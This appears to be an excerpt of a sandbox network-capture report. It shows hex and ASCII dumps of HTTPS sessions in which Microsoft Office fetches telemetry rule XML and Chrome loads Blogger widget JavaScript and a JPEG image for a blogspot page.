2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: eb753988-701e-0021-591f-1c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223953Z-17db6f7c8cf8rgvlb86c9c0098000000054g0000000092t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0c32318b-701e-0098-6762-1c395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223953Z-17db6f7c8cfjxfnba42c5rukwg00000003z000000000cxk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49838	142.250.185.73	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	559	OUT	GET /static/v1/widgets/3650705295-widgets.js HTTP/1.1 Host: www.blogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:53 UTC	696	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech" Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogger-tech"}]} Content-Length: 145622 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 08 Oct 2024 08:07:17 GMT Expires: Wed, 08 Oct 2025 08:07:17 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 07 Oct 2024 13:59:46 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 570756 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:53 UTC	682	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 61 61 3d 22 26 61 63 74 69 6f 6e 3d 22 2c 62 61 3d 22 2e 77 69 6b 69 70 65 64 69 61 2e 6f 72 67 22 2c 63 61 3d 22 53 43 52 49 50 54 22 2c 64 61 3d 22 53 50 41 4e 22 2c 65 61 3d 22 53 57 5f 52 45 41 44 45 52 5f 4c 49 53 54 5f 22 2c 66 61 3d 22 53 57 5f 52 45 41 44 45 Data Ascii: (function(){/* Copyright Google LLC SPDX-License-Identifier: Apache-2.0// Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var aa="&action=",ba=".wikipedia.org",ca="SCRIPT",da="SPAN",ea="SW_READER_LIST_",fa="SW_READE
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 2d 66 6f 72 6d 2d 73 75 62 6d 69 74 22 2c 42 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 22 2c 43 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 2d 77 69 74 68 2d 62 6f 72 64 65 72 22 2c 44 61 3d 22 64 61 74 61 2d 68 65 69 67 68 74 22 2c 45 61 3d 22 64 69 73 70 6c 61 79 4d 6f 64 65 46 75 6c 6c 22 2c 46 61 3d 22 64 69 73 70 6c 61 79 4d 6f 64 65 4c 61 79 6f 75 74 22 2c 47 61 3d 22 64 69 73 70 6c 61 79 4d 6f 64 65 4e 6f 6e 65 22 2c 6c 3d 22 64 69 76 22 2c 48 61 3d 22 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 2c 49 61 3d 22 65 72 72 6f 72 22 2c 4a 61 3d 22 65 78 70 61 6e 64 65 64 22 2c 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 2c 4b 61 3d 22 68 69 64 64 65 6e 22 2c Data Ascii: -form-submit",Ba="contact-form-success-message",Ca="contact-form-success-message-with-border",Da="data-height",Ea="displayModeFull",Fa="displayModeLayout",Ga="displayModeNone",l="div",Ha="dropdown-toggle",Ia="error",Ja="expanded",n="function",Ka="hidden",
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 77 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 63 28 64 2b 28 66 7c 7c 22 22 29 2b 22 5f 22 2b 65 2b 2b 2c 66 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 66 2c 67 29 7b 74 68 69 73 2e 41 3d 66 3b 65 62 28 74 68 69 73 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 Data Ascii: urable:!0,writable:!0,value:b})}}w("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g){this.A=f;eb(this,"description",{configurable:!0,writable:!0,va
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6d 62 3d 21 31 7d 6c 62 3d 6d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 70 62 3d 6c 62 3b 0a 66 75 6e 63 74 69 6f 6e 20 79 28 61 2c 62 29 7b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6b 62 28 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 69 66 28 70 62 29 70 62 28 61 2c 62 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 63 21 3d 22 70 72 Data Ascii: a}catch(a){}mb=!1}lb=mb?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var pb=lb;function y(a,b){a.prototype=kb(b.prototype);a.prototype.constructor=a;if(pb)pb(a,b);else for(var c in b)if(c!="pr
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 65 28 6b 29 3b 75 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 75 2e 68 61 73 28 6b 29 26 26 75 2e 67 65 74 28 6d 29 3d 3d 34 7d 63 61 74 63 68 28 43 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 67 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 66 28 22 66 72 65 65 7a 65 22 29 3b 66 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 66 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 29 7b 69 66 28 21 64 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 65 28 6b 29 3b 69 66 28 21 72 62 28 6b 2c Data Ascii: e(k);u.set(m,4);return!u.has(k)&&u.get(m)==4}catch(C){return!1}}())return a;var g="$jscomp_hidden_"+Math.random();f("freeze");f("preventExtensions");f("seal");var h=0;b.prototype.set=function(k,m){if(!d(k))throw Error("Invalid WeakMap key");e(k);if(!rb(k,
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 3a 34 7d 29 7c 7c 6b 2e 73 65 74 28 7b 78 3a 34 7d 2c 22 74 22 29 21 3d 6b 7c 7c 6b 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6d 3d 6b 2e 65 6e 74 72 69 65 73 28 29 2c 75 3d 6d 2e 6e 65 78 74 28 29 3b 69 66 28 75 2e 64 6f 6e 65 7c 7c 75 2e 76 61 6c 75 65 5b 30 5d 21 3d 68 7c 7c 75 2e 76 61 6c 75 65 5b 31 5d 21 3d 22 73 22 29 72 65 74 75 72 6e 21 31 3b 75 3d 6d 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 75 2e 64 6f 6e 65 7c 7c 75 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 75 2e 76 61 6c 75 65 5b 31 5d 21 3d 22 74 22 7c 7c 21 6d 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 3f 0a 21 31 3a 21 30 7d 63 61 74 63 68 28 43 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 66 3d 6e 65 77 20 57 65 61 6b 4d 61 Data Ascii: :4})\|\|k.set({x:4},"t")!=k\|\|k.size!=2)return!1;var m=k.entries(),u=m.next();if(u.done\|\|u.value[0]!=h\|\|u.value[1]!="s")return!1;u=m.next();return u.done\|\|u.value[0].x!=4\|\|u.value[1]!="t"\|\|!m.next().done?!1:!0}catch(C){return!1}}())return a;var f=new WeakMa
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 74 68 69 73 2e 61 64 64 28 64 2e 76 61 6c 75 65 29 7d 74 68 69 73 2e 73 69 7a 65 3d 74 68 69 73 2e 41 2e 73 69 7a 65 7d 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 6e 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 6e 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 78 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e Data Ascii: .next()).done;)this.add(d.value)}this.size=this.A.size}if(function(){if(!a\|\|typeof a!=n\|\|!a.prototype.entries\|\|typeof Object.seal!=n)return!1;try{var c=Object.seal({x:4}),d=new a(x([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 77 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 0a 77 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 74 68 69 73 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 Data Ascii: ?a:function(){return tb(this,function(b,c){return[b,c]})}});w("Array.prototype.keys",function(a){return a?a:function(){return tb(this,function(b){return b})}});w("String.prototype.startsWith",function(a){return a?a:function(b,c){if(this==null)throw new
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 67 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 67 5d 2c 67 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 0a 77 28 22 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 72 62 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 62 5b 64 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 77 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 Data Ascii: xt()).done;)e.push(c.call(d,f.value,g++))}else for(f=b.length,g=0;g<f;g++)e.push(c.call(d,b[g],g));return e}});w("Object.values",function(a){return a?a:function(b){var c=[],d;for(d in b)rb(b,d)&&c.push(b[d]);return c}});w("Number.MAX_SAFE_INTEGER",functi
2024-10-14 22:39:53 UTC	1378	IN	Data Raw: 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 6c 6f 61 64 2e 6e 61 6d 65 3d 61 2b 22 62 6c 6f 67 73 70 6f 74 22 3b 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 69 6d 67 22 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 61 5b 63 5d 2e 63 6f 6d 70 6c 65 74 65 3f 77 62 28 61 5b 63 5d 2c 22 70 6f 73 74 22 29 21 3d 6e 75 6c 6c 26 26 78 62 2e 61 70 70 6c 79 28 61 5b 63 5d 29 3a 77 62 28 61 5b 63 5d 2c 22 70 6f 73 74 22 29 21 3d 6e 75 6c 6c 26 26 76 62 28 61 5b 63 5d 2c 78 62 29 3b 76 62 28 77 69 6e 64 6f 77 2c 75 62 29 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 7b 7d 2c 65 3d 77 69 6e 64 6f 77 2e 62 6c 6f 67 67 65 72 5f 62 6c 6f 67 5f 69 64 2c Data Ascii: ndow.jstiming.load.name=a+"blogspot";a=document.getElementsByTagName("img");for(var c=0;c<a.length;c++)a[c].complete?wb(a[c],"post")!=null&&xb.apply(a[c]):wb(a[c],"post")!=null&&vb(a[c],xb);vb(window,ub);a=function(){for(var d={},e=window.blogger_blog_id,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49840	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	637	OUT	GET /img/a/AVvXsEikTOrvZaqorznCY7bfF4hHeUoB7iqxGA6Lai59n6jBtTP-6vPF8cdimK59GMeqOtgojDBpcqDsJx8Tjd4m3RBrHihJF4GFqZC2pHaDHnXHi8s44GKacNua9X_ARVFEW4Pj1JPUQXPGajJNPH31EGKPwOf7fz4bZuxfETojB0-QXYz9qzzeNXw8ZGaMGlE=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	471	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd4a" Expires: Tue, 15 Oct 2024 22:39:54 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="1603572780.jpeg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:54 GMT Server: fife Content-Length: 7466 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:54 UTC	907	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 41 27 17 a4 e5 51 57 c2 b1 25 65 25 6b 96 37 73 b0 c8 93 7a c5 1a b6 b8 2c ed c4 5c ec a2 18 a2 05 1a 20 00 4d 30 40 0d 30 00 92 0b 19 10 93 52 d1 24 43 71 0b e7 94 ad 51 a0 8d 55 d2 56 93 30 9a 2b a8 94 02 04 0a d0 40 00 00 21 82 00 1a 06 26 00 00 14 c4 d0 43 84 09 58 14 34 0c 12 30 40 02 82 70 01 40 10 02 18 21 88 1a 03 ff c4 00 2f 10 00 02 02 02 01 02 03 06 05 05 00 00 00 00 00 00 01 02 00 03 04 11 05 10 12 13 21 30 06 14 20 31 35 40 15 22 23 24 34 32 33 41 50 60 ff da 00 08 01 01 00 01 05 02 ff 00 6f a9 af 8b 5e 5d 07 dc 01 02 cd 4d 4d 4e c9 a9 af 46 be c8 56 6a 6b d1 f2 f8 94 91 d0 08 16 2a c5 ae 78 53 c1 9e 03 43 49 86 b2 21 48 56 6b e2 1d 17 51 95 74 df 3e a7 d5 58 8b 29 ab 72 ac 5e e9 5f 1e 5a 1c 6c 6a 63 bd 6a 1e f3 3b fb 8d a9 54 34 03 1d 21 5e Data Ascii: A'QW%e%k7sz,\ M0@0R$CqQUV0+@!&CX40@p@!/!0 15@"#$423AP`o^]MMNFVjk*xSCI!HVkQt>X)r^_Zljcj;T4!^
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 10 20 23 30 40 b1 32 81 91 42 53 60 62 72 82 14 33 43 50 52 c1 d1 ff da 00 08 01 01 00 06 3f 02 fc 53 b7 3e 88 f3 ef 65 d9 92 c9 65 e5 dd 6c fa 08 ee e4 b2 5e 21 93 c0 2f 0e 83 7e 6b e1 67 d1 41 63 7e 8a ed c3 d1 6c 19 ef cf 6e 18 03 d2 cb 82 86 58 76 15 91 59 15 7e c8 76 7c 51 9e cb a9 dd ea 71 bb e1 0a c6 ca 54 85 b7 9a 9e e4 1b 1d c8 89 91 ea c0 e2 85 26 e4 df 26 ea 14 ef 1e 9a 70 3a 3a 2c 7a b7 60 e2 86 36 90 9b 51 ed c0 c3 91 28 b9 ad c5 87 dd 6a 83 c6 32 98 c7 66 fb db 25 b7 9e e4 6b 58 33 ae 6b 64 34 47 12 bf a7 f5 44 92 c8 1c d3 b5 6e 00 b7 30 57 c4 d5 89 b0 fe 43 35 86 93 0c b7 35 25 ed b8 b8 52 1a 5c de 22 ea 16 cd 3c 5d 2e 9c c7 02 d3 bc 15 2d 63 8f c9 41 10 b8 79 b5 9e 58 d2 fc 56 2a 8c fd e8 f7 54 fa 2d 19 8e 8d a6 44 71 4e d1 ea 58 67 49 ff Data Ascii: #0@2BS`br3CPR?S>eel^!/~kgAc~lnXvY~v\|QqT&&p::,z`6Q(j2f%kX3kd4GDn0WC55%R\"<].-cAyXV*T-DqNXgI
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 7e c1 e8 de 2c 7d df f0 46 ba 0a 95 02 f1 8c 6e 35 dc 8f b4 a5 d0 70 df 77 e2 70 db 14 f1 16 2b ee 4b 97 f7 87 77 95 f4 79 8b 1d 25 9e 0f fb 34 2b 9a 1f 12 b6 79 1f de 5e 4c 8d f6 30 6f 0a d6 bf dd cc 8b fe 97 0f 18 2b 9c 77 8e 80 e4 16 db 92 2a a8 3b 2e d9 c5 06 30 7c 5c 58 8f 0b 2f b8 cc a5 e7 3e 6e 8f dc a9 c0 e4 b4 d1 af dc b1 00 02 ed ad fe 2e 78 5e 1f ee bb b1 5b 55 ec 10 e9 5d 15 20 4d 4b a5 2a 9a 95 06 ca 4e 0f 95 8b 94 4c b4 fa 93 93 a6 52 67 60 84 87 fa 1d bb a9 e3 a2 59 58 98 36 92 57 da 3f 3c dd 77 39 98 5c 9b 70 26 12 5b c1 cf 84 57 97 e8 45 00 51 46 10 7c b6 a5 38 82 0b 94 10 b1 e8 29 85 e5 ca 5b 2a dd 51 06 69 b2 9b 9f 52 11 67 41 1a 95 13 62 e8 ba 5f 8f 1f cc 0f 7a da 8d 71 c4 a1 99 2e 88 4e 49 96 07 41 b2 b8 83 9d 13 50 b8 12 69 a5 e2 ab Data Ascii: ~,}Fn5pwp+Kwy%4+y^L0o+w;.0\|\X/>n.x^[U] MKNLRg`YX6W?<w9\p&[WEQF\|8)[*QiRgAb_zq.NIAPi
